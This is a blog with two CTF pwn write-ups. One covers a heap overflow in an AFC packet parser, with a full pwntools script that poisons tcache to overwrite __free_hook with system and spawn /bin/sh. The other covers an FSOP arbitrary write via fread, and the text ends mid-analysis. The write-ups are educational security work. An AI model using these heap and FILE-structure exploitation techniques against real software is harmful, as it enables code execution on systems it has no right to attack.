Epsilon

[Sekai-CTF 2026]-Pwn/PPP

Mon, 06 Jul 2026 00:00:00 GMT

Overview

This is easiest pwn challenge in sekai ctf, and it got quite some solves and it was very nerfed. No ASLR, No safe linking in libc. No ASLR was really a nail in the coffin cuz it made challenge a lot easier than it would be.

Day 2

I entered in CTF kinda late and saw a challenge with tagged zero day and easy, has lotta solves. My excitement dropped by half cuz I kinda don't like auditing long source code in CTF. On first glance it seemed a networking type challenges, sending and receiving packets both via stdin. Well Vuln was not hard to find but I couldn't setup the gdb and I took my first L and accepted the infra-setup-skill-issue and went to nap.

Day 3

I wokeup and saw that my webber teammate already solved it and submitted the flag. I took another L and went to sleep.

Day 7

After getting humiliated by pwn challenges in R3CTF, I came back to this challenge and this time I was not alone, I had clanker in my antigravity with me, and told it to setup the debugging environment. And i was back again with gdb, my my preciousssss.... But then I found out that I can't setup break point in it and neither there was any debug symbols. And now instead of challenge I got nerfed. But I could see the memory mapping and It was more than enough to solve.

Sauce Code & Exploitation

Honestly there are too many loc and I don't want to insert every loc in this blog. I'll just add some snippet and explain stuff. Morever, I'll just mention how I solved this challenge instead of just posting the solves. There is too much to audit and most of the loc in sauce in not even necessary to know. Only thing required to solve this is to know where is malloc and free.

As you can see it is menu type with some option and when i enter ls it prints 8-byte AFC_MAGIC_STR and waits for input.

else if (!strcmp(cmd, "ls")) {
char **l = NULL;
afc_error_t e = afc_read_directory(afc, arg ? arg : "/", &l);
if (e == AFC_E_SUCCESS && l) print_names(l);
else printf("ls: afc error %d\n", e);

afc_read_directory is called with afc and arg from input. Touring the source code in libimobildevice,

afc_error_t afc_read_directory(afc_client_t client, const char *path, char ***directory_information)
{
	uint32_t bytes = 0;
	char *data = NULL, **list_loc = NULL;
	afc_error_t ret = AFC_E_UNKNOWN_ERROR;

	if (!client || !path || !directory_information || (directory_information && *directory_information))
		return AFC_E_INVALID_ARG;

	afc_lock(client);

	uint32_t data_len = (uint32_t)strlen(path)+1;
	if (_afc_check_packet_buffer(client, data_len) < 0) {
		afc_unlock(client);
		debug_info("Failed to realloc packet buffer");
		return AFC_E_NO_MEM;
	}

	/* Send the command */
	memcpy(AFC_PACKET_DATA_PTR, path, data_len);
	ret = afc_dispatch_packet(client, AFC_OP_READ_DIR, data_len, NULL, 0, &bytes);
	if (ret != AFC_E_SUCCESS) {
		afc_unlock(client);
		return AFC_E_NOT_ENOUGH_DATA;
	}
	/* Receive the data */
	ret = afc_receive_data(client, &data, &bytes);

This last line is lifeline of this challenge. My initial guess was that the MAGIC string that is getting printed must be due to the afc_dispatch_packet.

static afc_error_t afc_receive_data(afc_client_t client, char **bytes, uint32_t *bytes_recv)
{
	AFCPacket header;
	uint32_t entire_len = 0;
	uint32_t this_len = 0;
	uint32_t current_count = 0;
	uint64_t param1 = -1;
	char *buf = NULL;
	uint32_t recv_len = 0;

	if (bytes_recv) {
		*bytes_recv = 0;
	}
	if (bytes) {
		*bytes = NULL;
	}

	/* first, read the AFC header */
	afc_error_t err = service_to_afc_error(service_receive(client->parent, (char*)&header, sizeof(AFCPacket), &recv_len));
	if (err != AFC_E_SUCCESS) {
		debug_info("Failed to receive AFC header: %s (%d)", afc_strerror(err), err);
		return err;
	}
	if (recv_len == 0) {
		debug_info("Just didn't get enough.");
		return AFC_E_NOT_ENOUGH_DATA;
	}

	if (recv_len < sizeof(AFCPacket)) {
		debug_info("Did not even get the AFCPacket header");
		return AFC_E_NOT_ENOUGH_DATA;
	}
  	/* make sure endianness is correct */
	AFCPacket_from_LE(&header);

As comment mentioned, the input from user is due to service_to_afc_error and it recv_len should be equal to size of AFCpacket. I found about AFCPacket in given source code which is this


typedef struct {
	char magic[AFC_MAGIC_LEN];
	uint64_t entire_length, this_length, packet_num, operation;
} AFCPacket;

#define AFCPacket_to_LE(x) \
 	(x)->entire_length = htole64((x)->entire_length); \
	(x)->this_length   = htole64((x)->this_length); \
	(x)->packet_num    = htole64((x)->packet_num); \
	(x)->operation     = htole64((x)->operation);

#define AFCPacket_from_LE(x) \
	(x)->entire_length = le64toh((x)->entire_length); \
	(x)->this_length   = le64toh((x)->this_length); \
	(x)->packet_num    = le64toh((x)->packet_num); \
	(x)->operation     = le64toh((x)->operation);

So input should be in form of this struct, and also confirmed from AFCPacket_from_LE this line.

	/* check if it's a valid AFC header */
	if (strncmp(header.magic, AFC_MAGIC, AFC_MAGIC_LEN) != 0) {
		debug_info("Invalid AFC packet received (magic != " AFC_MAGIC ")!");
		return AFC_E_UNKNOWN_PACKET_TYPE;
	}

/* check if it has the correct packet number */
	if (header.packet_num != client->afc_packet->packet_num) {
		/* otherwise print a warning but do not abort */
		debug_info("ERROR: Unexpected packet number (%lld != %lld) aborting.", header.packet_num, client->afc_packet->packet_num);
		return AFC_E_OP_HEADER_INVALID;
	}

	/* then, read the attached packet */
	if (header.this_length < sizeof(AFCPacket)) {
		debug_info("Invalid AFCPacket header received!");
		return AFC_E_OP_HEADER_INVALID;
	}
	if ((header.this_length == header.entire_length)
		&& header.entire_length == sizeof(AFCPacket)) {
		debug_info("Empty AFCPacket received!");
		if (header.operation == AFC_OP_DATA) {
			return AFC_E_SUCCESS;
		}
		return AFC_E_IO_ERROR;
	}

Now this is some condition to validate the packet, this_lenght should be less than 0x28 and this_length should not be equal to entire_length and 0x28 otherwise this will return.


	entire_len = (uint32_t)header.entire_length - sizeof(AFCPacket);
	this_len = (uint32_t)header.this_length - sizeof(AFCPacket);

	buf = (char*)malloc(entire_len);
	if (this_len > 0) {
		recv_len = 0;
		err = service_to_afc_error(service_receive(client->parent, buf, this_len, &recv_len));
		if (err != AFC_E_SUCCESS) {
			free(buf);
			debug_info("Failed to receive data: %s (%d)", afc_strerror(err), err);
		}
		if (recv_len <= 0) {
			free(buf);
			debug_info("Did not get packet contents!");
			return (err == AFC_E_SUCCESS) ? AFC_E_NOT_ENOUGH_DATA : err;
		}
		if (recv_len < this_len) {
			free(buf);
			debug_info("Could not receive this_len=%d bytes", this_len);
			return (err == AFC_E_SUCCESS) ? AFC_E_END_OF_DATA : err;
		}
	}

	current_count = this_len;
  if (entire_len > this_len) {
		while (current_count < entire_len) {
			recv_len = 0;
			err = service_to_afc_error(service_receive(client->parent, buf+current_count, entire_len - current_count, &recv_len));
			if (err != AFC_E_SUCCESS) {
				debug_info("Error receiving data: %s (%d)", afc_strerror(err), err);
				break;
			}
			if (recv_len <= 0) {
				debug_info("Error receiving data (recv returned %d)", recv_len);
				break;
			}
			current_count += recv_len;
		}
		if (current_count < entire_len) {
			free(buf);
			debug_info("ERROR: Could not receive entire packet (read %i/%i)", current_count, entire_len);
			return (err == AFC_E_SUCCESS) ? AFC_E_END_OF_DATA : err;
		}
	}

Now comes the banger line, It firsts update both entire_lenth and this_length and allocate a chunk with size of updated_entire_length, but it reads upto updated_this_Length in service_to_afc_error granting us a very sweet heap overflow. You can read the source code in service.c and device.c, I tested it with gef and indeed top_chunk was corrupted.

io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x50,0x60,0x1,0x0)
io.send(payload)
io.send(b"A"*(0x60-0x28))

To check this lfc error number I used this API Documentation so just to know in which loc error occured.

One of the check is afc_recieve_data was of correct packet num. In afc_dispatch_packet packet num is updated by +1. So I tested this by sending two consecutive packets starting from 0x1 and then 0x2 and it returned with no error.

static afc_error_t afc_dispatch_packet(afc_client_t client, uint64_t operation, uint32_t data_length, const char* payload, uint32_t payload_length, uint32_t *bytes_sent)
{
	uint32_t sent = 0;

	if (!client || !client->parent || !client->afc_packet)
		return AFC_E_INVALID_ARG;

	*bytes_sent = 0;

	if (!payload || !payload_length)
		payload_length = 0;

	client->afc_packet->packet_num++;
	client->afc_packet->operation = operation;
	client->afc_packet->entire_length = sizeof(AFCPacket) + data_length + payload_length;
	client->afc_packet->this_length = sizeof(AFCPacket) + data_length;

now next is some operation check and then

	if (bytes) {
		*bytes = buf;
	} else {
		free(buf);
	}

	*bytes_recv = current_count;
	return AFC_E_SUCCESS;

I initially did not understand this code but later i found it is way to manage memory. In this afc_read_directory bytes in not null so if condition is true.

	/* Receive the data */
	ret = afc_receive_data(client, &data, &bytes);
	if (ret != AFC_E_SUCCESS) {
		if (data)
			free(data);
		afc_unlock(client);
		return ret;
	}
	/* Parse the data */
	list_loc = make_strings_list(data, bytes);
	if (data)
		free(data);

	afc_unlock(client);
	*directory_information = list_loc;

	return ret;

So if ret is AFC_E_SUCCESS, it does not free the memory and make_strings_list is not really necessary for exploit purpose but it does allocate a chunk of 0x20 bytes. But when I tested it in gdb I found out that memory is freed, and the reason is this in afc_list.c

/* free the parsed list (in cleanup order: reverse) */
static void free_list(char **list, int n)
{
    for (int i = n - 1; i >= 0; i--) free(list[i]);
    free(list);
}

/* directory / device listings: one entry per line */
static void print_names(char **list)
{
    int n = 0;
    while (list[n]) { puts(list[n]); n++; }
    free_list(list, n);
}

So there is heap overflow, every memory is freed after it returns but wait if there is no print_names then memory is not freed, right?

        } else if (!strcmp(cmd, "mkdir")) {
            afc_error_t e = afc_make_directory(afc, arg ? arg : "/");
            puts(e == AFC_E_SUCCESS ? "OK" : "mkdir failed");

So I tried to mkdir with my tongue open and when i clicked vis in gef, I got clowned. As my hasty assumption was wrong.

afc_error_t afc_make_directory(afc_client_t client, const char *path)
{
	uint32_t bytes = 0;
	afc_error_t ret = AFC_E_UNKNOWN_ERROR;

	if (!client)
		return AFC_E_INVALID_ARG;

	afc_lock(client);

	uint32_t data_len = (uint32_t)strlen(path)+1;
	if (_afc_check_packet_buffer(client, data_len) < 0) {
		afc_unlock(client);
		debug_info("Failed to realloc packet buffer");
		return AFC_E_NO_MEM;
	}

	/* Send command */
	memcpy(AFC_PACKET_DATA_PTR, path, data_len);
	ret = afc_dispatch_packet(client, AFC_OP_MAKE_DIR, data_len, NULL, 0, &bytes);
	if (ret != AFC_E_SUCCESS) {
		afc_unlock(client);
		return AFC_E_NOT_ENOUGH_DATA;
	}
	/* Receive response */
	ret = afc_receive_data(client, NULL, &bytes);

	afc_unlock(client);

	return ret;
}

In afc_read_directory, afc_recieve_data is called with NULL in second argument so due to this loc buffer is going to be freed.

	if (bytes) {
		*bytes = buf;
	} else {
		free(buf);
	}

	*bytes_recv = current_count;
	return AFC_E_SUCCESS;

I tried all other options in afc_list and in one way or another, memory is always going to be freed. And in this way there is not going to be a next_chunk pointer that can be corrupted by heap overflows. So I started looking for another vuln or some logic bugs that will cause double-free, but I could not find any.

So I started looking for another way to get heap pointer in chunk. Due to heap overflow, we can control not only change next_pointer but size of adjacent chunk too.

  if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0)
    {
      return tcache_get (tc_idx);
    }

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

So when a chunk is allocated via malloc from tcache bins, size and address is known via tcache_perthread_struct but when a chunk is freed, the bins size is determined via chunk_metadata.


io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x50,0x40,0x1,0x2)
io.send(payload)
io.send(b"A"*(0x50-0x28))

io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x50,0x60,0x2,0x2)
io.send(payload)
io.send(b"A"*(0x50-0x28))


io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x70,0x60,0x3,0x2)
io.send(payload)
io.send(b"A"*(0x70-0x28))


io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x40,0x60,0x4,0x2)
io.send(payload)
io.send(b"A"*(0x40-0x28)+pack(0x31))


io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x70,0x60,0x5,0x0)
io.send(payload)
io.send(b"A"*(0x70-0x28))

libc_base = 0x00007ffff7d65000
free_hook = libc_base+0x0000000001eee48
one_gadget = libc_base+0xe3b04

And we got the next_pointer in chunk and we can change that to __free_hook. To gain control of the the __free_hook we have to change the size of chunk again. when this freed_chunk will be malloced the __free_hook pointer will be written to tcache_perthread_struct but when the chunk will be freed the bins_size will be our updated_size leaving the __free_hook pointer in tcache_perthread_struct untouched.

from pwn import *
import subprocess
context.log_level = "debug"
elf = context.binary = ELF("./afc_list")
io = remote("localhost", 5000)
# io = remote("ppp.chals.sekai.team", 1337)

def get_pid():
    local_port = io.sock.getsockname()[1]
    cmd = f"sudo lsof -n -iTCP:5000 -sTCP:ESTABLISHED | grep socat | grep ':{local_port}'"
    output = subprocess.check_output(cmd, shell=True).decode()
    socat_pid = int(output.split()[1])
    cmd2 = f"pgrep -P {socat_pid}"
    child_pid = int(subprocess.check_output(cmd2, shell=True).decode().strip())
    return child_pid

def gef(pid):
    gdb.attach(pid, gdbscript="""
# break *0x4011f0
""", exe=elf.path)

def gdb_with_pid():
    gef(get_pid())

gdb_with_pid()

def packet(entire_length,this_length,packet_num,operation):
    return b"CFA6LPAA"+pack(entire_length)+pack(this_length)+pack(packet_num)+pack(operation)

io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x50,0x40,0x1,0x2)
io.send(payload)
io.send(b"A"*(0x50-0x28))

io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x50,0x60,0x2,0x2)
io.send(payload)
io.send(b"A"*(0x50-0x28))


io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x70,0x60,0x3,0x2)
io.send(payload)
io.send(b"A"*(0x70-0x28))


io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x40,0x60,0x4,0x2)
io.send(payload)
io.send(b"A"*(0x40-0x28)+pack(0x31))


io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x70,0x60,0x5,0x2)
io.send(payload)
io.send(b"A"*(0x70-0x28))

libc_base = 0x00007ffff7d65000
free_hook = libc_base+0x0000000001eee48
one_gadget = libc_base+0xe3b04



io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x40,0x60,0x6,0x2)
io.send(payload)
io.send(b"A"*(0x40-0x28)+pack(0x31)+pack(free_hook-0x8))



io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x40,0x60,0x7,0x0)
io.send(payload)
io.send(b"A"*(0x40-0x28)+pack(0x51))

# #malloc 0x31 bytes

io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x50,0x60,0x8,0x0)
io.send(payload)
io.send(b"A"*(0x50-0x28))



io.recvuntil(b"afc>")
io.sendline(b"ls ")
payload = packet(0x50,0x60,0x9,0x0)
io.send(payload)
# payload = b"/readflag sekai ppp"
payload = b"/bin/sh\x00"
# payload+=b"\x00"*(0x28-len(payload))
payload += pack(libc_base+0x0000000000052290)
print(len(payload))
io.send(payload)
io.interactive()

All the attachments are here:github

Aftermath

This challenge was more fun than I expected, touring through the codebases was kinda good and slightly helped in removing my fear of big codebases.

[TJ-CTF 2026]-Pwn/Ox78

Tue, 19 May 2026 00:00:00 GMT

Overview

This weekend, I played tjctf after a long time and solved this fsop challenge.The challenge is simple, author tried to prevent fsop by nulling the _chain of file structure but it quite did not work. The binary leaks the heap address and libc address thus we can bypass ASLR without any headache. Although heap leak is not necessay in this challenge but some players solved it using both leaks.

./ld-linux-x86-64.so.2 ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.34-0ubuntu3) stable release version 2.34.
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 10.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

Basic information
Canary                                  : Disabled(will it work?)
NX                                      : Enabled
PIE                                     : Enabled
RELRO                                   : Full RELRO
Fortify                                 : Not found

Source code

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);//religious buffering
  Ox78();
  return 0;
}

This is the main function. It does some religious buffering and then calls another function.

__int64 Ox78()
{
  const void *v0; // rax

  create_test_file();
  testbuf = malloc(0x78uLL);
  fp = fopen("/tmp/test.txt", "r");
  puts(
    "I'm trying to test my FSOP prevention mechanism so I can share it with my coworkers who know nothing about security."
    " It should be foolproof right?\n");
  printf("Here's the address of the File Structure: 0x%llx\n", fp);
  v0 = (const void *)puts_got_value();//ptsd
  printf("I'm pretty confident you can't break out of this, so I'll give you a libc leak as well: %p\n\n", v0);
  read(0, fp, 0x78uLL);
  prevent_fsop();//will it work?
  fread(testbuf, 1uLL, 0x78uLL, fp);//gem alert
  prevent_fsop();//will it work?
  return 0LL;
}

Too many buzz loc!

read(0, fp, 0x78uLL);
prevent_fsop();->nulls the _chain;
fread(testbuf, 1uLL, 0x78uLL, fp);

This is the real thing. It grants write primitive on file structure(fp) and then use this fp to read in testbuf.

# gef> ptype/ox FILE*
# type = struct _IO_FILE {
# /* 0x0000      |  0x0004 */    int _flags;
# /* XXX  4-byte hole      */
# /* 0x0008      |  0x0008 */    char *_IO_read_ptr;
# /* 0x0010      |  0x0008 */    char *_IO_read_end;
# /* 0x0018      |  0x0008 */    char *_IO_read_base;
# /* 0x0020      |  0x0008 */    char *_IO_write_base;
# /* 0x0028      |  0x0008 */    char *_IO_write_ptr;
# /* 0x0030      |  0x0008 */    char *_IO_write_end;
# /* 0x0038      |  0x0008 */    char *_IO_buf_base;
# /* 0x0040      |  0x0008 */    char *_IO_buf_end;
# /* 0x0048      |  0x0008 */    char *_IO_save_base;
# /* 0x0050      |  0x0008 */    char *_IO_backup_base;
# /* 0x0058      |  0x0008 */    char *_IO_save_end;
# /* 0x0060      |  0x0008 */    struct _IO_marker *_markers;
# /* 0x0068      |  0x0008 */    struct _IO_FILE *_chain;
# /* 0x0070      |  0x0004 */    int _fileno;
# /* 0x0074      |  0x0004 */    int _flags2;
# /* 0x0078      |  0x0008 */    __off_t _old_offset;

with this write primitive we control many of the pointers of fp and this can be used to gain arbitrary write primitve. And we have libc leak thus making it very easy to write anywhere in libc.

size_t
_IO_fread (void *buf, size_t size, size_t count, FILE *fp)
{
  size_t bytes_requested = size * count;
  size_t bytes_read;
  CHECK_FILE (fp, 0);//not in disassembly
  if (bytes_requested == 0)
    return 0;
  _IO_acquire_lock (fp);
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  _IO_release_lock (fp);
  return bytes_requested == bytes_read ? count : bytes_read / size;
}

This is implementation of fread in libc. I have pasted all the source code below and will explain the path which will lead to arb write. Above code calculates bytes_requested then sanity check the file structure(fp->this is the same fp that we have write primitive on.), then does some locking stuff and calls _IO_sgetn.


size_t
_IO_sgetn (FILE *fp, void *data, size_t n)
{
  /* FIXME handle putback buffer here! */
  return _IO_XSGETN (fp, data, n);
}
libc_hidden_def (_IO_sgetn)
--------------------------------------------------------------------------------
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);

_IO_sgetn is just a call to _IO_XSGETN which is a jump to a pointer in vtable. I don't understand this correctly but seeing it in gef, I found the call to _IO_file_xsgetn.

0x7e996ea91f60 <__GI__IO_sgetn> (
   FILE* fp = 0x000057d173e45320  ->  0x0000000000000800,->fp
   void* data = 0x000057d173e452a0  ->  0x0000000000000000,->test_buffer
   size_t n = 0x0000000000000078,->size_of_test_buffer
)
 -> 0x7e996ea83c34 e827e30000            <fread+0x74>   call   0x7e996ea91f60 <__GI__IO_sgetn>

   -> 0x7e996ea91f60 f30f1efa              <_IO_sgetn>   endbr64
      0x7e996ea91f64 53                    <_IO_sgetn+0x4>   push   rbx
      0x7e996ea91f65 488d0df4791800        <_IO_sgetn+0x5>   lea    rcx, [rip + 0x1879f4] # 0x7e996ec19960 <_IO_helper_jumps>
      0x7e996ea91f6c 488d0555871800        <_IO_sgetn+0xc>   lea    rax, [rip + 0x188755] # 0x7e996ec1a6c8 <__elf_set___libc_atexit_element__IO_cleanup__>
      0x7e996ea91f73 4829c8                <_IO_sgetn+0x13>   sub    rax, rcx
      0x7e996ea91f76 4883ec20              <_IO_sgetn+0x16>   sub    rsp, 0x20

Below is the implementation of _IO_file_xsgetn.

size_t
_IO_file_xsgetn (FILE *fp, void *data, size_t n)
{
  size_t want, have;
  ssize_t count;
  char *s = data;

  want = n;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }

We don't want to go into this path so fp->_IO_buf_base == NULL this condition should be false.

  while (want > 0)/*this condition is true*/
    {
      have = fp->_IO_read_end - fp->_IO_read_ptr;
      if (want <= have)/*we don' want this condition */
	{
	  memcpy (s, fp->_IO_read_ptr, want);
	  fp->_IO_read_ptr += want;
	  want = 0;
	}
      else
	{
	  if (have > 0)/*again undesirable*/
	    {
	      s = __mempcpy (s, fp->_IO_read_ptr, have);
	      want -= have;
	      fp->_IO_read_ptr += have;
	    }

	  /* Check for backup and repeat */
	  if (_IO_in_backup (fp))/*test   DWORD PTR [rbx], 0x100*/
	    {/*what can i say except don't go into this !!*/
	      _IO_switch_to_main_get_area (fp);
	      continue;
	    }

	  /* If we now want less than a buffer, underflow and repeat
	     the copy.  Otherwise, _IO_SYSREAD directly to
	     the user buffer. */
	  if (fp->_IO_buf_base
	      && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
	    {/*desirable condition as this will call __underflow and so on......*/
	      if (__underflow (fp) == EOF)
		break;

	      continue;
	    }
}
/*skipped the rest loc */
libc_hidden_def (_IO_file_xsgetn)

Nothing interesting except __underflow. Touring the code below we can find the call to again a pointer in vtable which is _IO_UNDERFLOW.


int
__underflow (FILE *fp)
{
  if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)
    return EOF;//this condition is not in disassembly i don't know the reason.

  if (fp->_mode == 0)
    _IO_fwide (fp, -1);
  if (_IO_in_put_mode (fp))/*#define _IO_in_put_mode(_fp) ((_fp)->_flags & _IO_CURRENTLY_PUTTING)*/
    if (_IO_switch_to_get_mode (fp) == EOF)//_flags is now 0x0(if ^ condition is fulfilled)
      return EOF;
  if (fp->_IO_read_ptr < fp->_IO_read_end)//ignore
    return *(unsigned char *) fp->_IO_read_ptr;
  if (_IO_in_backup (fp))/*#define _IO_in_backup(fp) ((fp)->_flags & _IO_IN_BACKUP))*///ignored
    {
      _IO_switch_to_main_get_area (fp);
      if (fp->_IO_read_ptr < fp->_IO_read_end)
	return *(unsigned char *) fp->_IO_read_ptr;
    }
  if (_IO_have_markers (fp))/*#define _IO_have_markers(fp) ((fp)->_markers != NULL) *///ignored
    {
      if (save_for_backup (fp, fp->_IO_read_end))
	return EOF;
    }
  else if (_IO_have_backup (fp))/*#define _IO_have_backup(fp) ((fp)->_IO_save_base != NULL)*///ignored
    _IO_free_backup_area (fp);
  return _IO_UNDERFLOW (fp);
}
libc_hidden_def (__underflow)

Somehow we have to find a path that will successfully reach this return _IO_UNDERFLOW (fp). Most of the above condition is just one loc defined as macro in libiop.h and is very easy to read.


int
_IO_switch_to_get_mode (FILE *fp)
{
  if (fp->_IO_write_ptr > fp->_IO_write_base)
    if (_IO_OVERFLOW (fp, EOF) == EOF)
      return EOF;
  if (_IO_in_backup (fp))
    fp->_IO_read_base = fp->_IO_backup_base;
  else
    {
      fp->_IO_read_base = fp->_IO_buf_base;
      if (fp->_IO_write_ptr > fp->_IO_read_end)
	fp->_IO_read_end = fp->_IO_write_ptr;
    }
  fp->_IO_read_ptr = fp->_IO_write_ptr;

  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_read_ptr;

  fp->_flags &= ~_IO_CURRENTLY_PUTTING;//_flags = 0x0;
  return 0;//not EOF so fine!
}
libc_hidden_def (_IO_switch_to_get_mode)

//right now _flags = 0x0; so most of the "and" condition ->false
int
_IO_new_file_underflow (FILE *fp)
{
  ssize_t count;

  /* Nope */
  if (fp->_flags & _IO_EOF_SEEN)
    return EOF;
/*Again Nope */
  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }/*Nope */
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;
    /*Nope */
  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }
  /*Hell naww */

  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
      /* We used to flush all line-buffered stream.  This really isn't
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_acquire_lock (stdout);

      if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (stdout, EOF);

      _IO_release_lock (stdout);
    }

  _IO_switch_to_get_mode (fp);

  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;
/*Gem Alert!!! */
//rdi->0x0; rsi->user controlled, rdx->user controlled
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);
           /*do not care loc!!!!*/
  if (count <= 0)
    {
      if (count == 0)
	fp->_flags |= _IO_EOF_SEEN;
      else
	fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;
  if (count == 0)
    {
      /* If a stream is read to EOF, the calling application may switch active
	 handles.  As a result, our offset cache would no longer be valid, so
	 unset it.  */
      fp->_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

Now this loc is banger cuz it calls read with all arguments in user control. A simple receipe to arbitrary write.

---------------------------------------------------------------
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);

----------------------------------------------------------------
#define _IO_SYSREAD(FP, DATA, LEN) JUMP2 (__read, FP, DATA, LEN)
__read (int fd, void *buf, size_t nbytes)
{
  return __pread64 (fd, buf, nbytes, -1);
}
libc_hidden_weak (__read)

This is most of the bits that will manipulate the path as most of the if conditions relies on the _flag of fp.

/* Magic number and bits for the _flags field.  The magic number is
   mostly vestigial, but preserved for compatibility.  It occupies the
   high 16 bits of _flags; the low 16 bits are actual flag bits.  */

#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

Listing all of the conditions-

fp->_IO_buf_base -> start of the write address.
fp->_IO_buf_end ->end of the write address.
length = fp->_IO_buf_end - fp->_IO_buf_base and this should be greater than want which is 0x78.
_flag |= _IO_CURRENTLY_PUTTING(so that _flags = 0x0)
Rest all pointers zero

Exploit

fp = pack(0xfbad0800)#0x0
fp =pack(0x800)#this is fine as long as there is no CHECK_FILE(fp)
fp +=pack(0x0)#8
fp+=pack(0x0)#10
fp+=pack(0x0)#18
fp+=pack(0x0)#20
fp+=pack(0x0)#28
fp+=pack(0x0)#30
fp+=pack(0xdeadbeef)#38(buf_base)
fp+=pack(0xdeadbeef+0x100)#40(buf_end)
# fp +=pack(stderr-0x20)
# fp+=pack(stderr+0xe0+0x20)
fp+=pack(0x0)#48
fp+=p8(0x0)*(0x68-len(fp))
fp+=pack(libc_leak+0x1947b0)
fp+=pack(0x0)

io.send(fp)

Context: After getting arbitrary write, I mindlessly went for house of apple 2 cuz why not? I overwrote stderr with payload that I made long ago and waited for low cortisol shell,but what i recevied was high cortisol EOF.

I am not explaining house of apple 2. there are tons of blogs on internet and that explains better! well EOF is not shell so I started debugging exit_handler in gdb and reached at this code.


int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
